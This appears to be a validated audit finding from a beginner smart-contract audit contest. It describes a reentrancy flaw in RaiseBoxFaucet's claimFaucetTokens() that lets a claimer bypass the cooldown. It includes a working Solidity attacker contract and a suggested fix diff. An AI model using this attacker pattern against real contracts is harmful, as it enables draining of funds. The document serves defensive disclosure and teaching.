Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in claimFaucetTokens() allows bypassing cooldown and claiming tokens multiple times

Root + Impact

Description

  • The claimFaucetTokens() function violates the Checks-Effects-Interactions (CEI) pattern by updating the lastClaimTime state variable AFTER external interactions. This allows malicious contracts to re-enter the function and claim tokens multiple times before the cooldown timestamp is recorded, completely bypassing the 3-day cooldown mechanism.

  • The function performs external calls via low-level .call() to transfer ETH before updating critical state variables.

    When faucetClaimer is a malicious contract, its receive() or fallback() function gains control during the ETH transfer. At this point, lastClaimTime[attacker] is still 0 (for first-time claimers) or contains an old timestamp (for repeat claimers after cooldown), allowing the cooldown check to pass again in the re-entered call.


    This violates CEI pattern where Effects (state updates) must happen before Interactions (external calls).

// Vulnerable code in claimFaucetTokens()
// Line 167-169: Check cooldown
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
// Line 198: External call BEFORE state update
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// Attacker gains control HERE and can re-enter
// Line 227-228: State update happens TOO LATE
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;

Risk

Likelihood:

  • High risk - The attack is trivial to execute.

  • Any user can deploy a contract with a receive() function that calls claimFaucetTokens() again. No special conditions or timing required.

Impact:

  • Cooldown bypass: Attacker claims tokens multiple times in single transaction

  • Token drainage: Faucet balance depleted rapidly

  • Economic damage: Rate-limiting completely broken

  • Loss of trust: Faucet becomes unusable for legitimate users


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
contract AttackerContract {
RaiseBoxFaucet public faucet;
uint256 public attackCount;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
// This function is triggered when contract receives ETH
receive() external payable {
// Re-enter on first call only (avoid infinite loop)
if (attackCount == 0) {
attackCount++;
faucet.claimFaucetTokens(); // REENTRANCY ATTACK
}
}
// Start the attack
function attack() external {
attackCount = 0;
faucet.claimFaucetTokens();
}
}
// Attack flow:
// 1. Deploy AttackerContract with faucet address
// 2. Call attack()
// 3. First claimFaucetTokens() starts
// 4. Cooldown check: lastClaimTime[attacker] == 0 → PASS
// 5. ETH transfer triggers receive()
// 6. receive() calls claimFaucetTokens() AGAIN
// 7. Cooldown check: lastClaimTime[attacker] STILL 0 → PASS AGAIN
// 8. Attacker receives DOUBLE tokens
// 9. First call completes, updates lastClaimTime
// Result: Attacker bypassed 3-day cooldown

Recommended Mitigation

//There are two ways to fix this vulnerability:
//Option 1: Follow CEI pattern - move state updates before external calls
//Option 2: Use OpenZeppelin ReentrancyGuard modifier
//Both solutions are shown below.
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
// Checks
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ // EFFECTS: Update state FIRST
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// INTERACTIONS: External calls AFTER state updates
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(faucetClaimer, address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached");
}
- } else {
- dailyDrips = 0;
}
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
//or
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// existing code remains the same
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.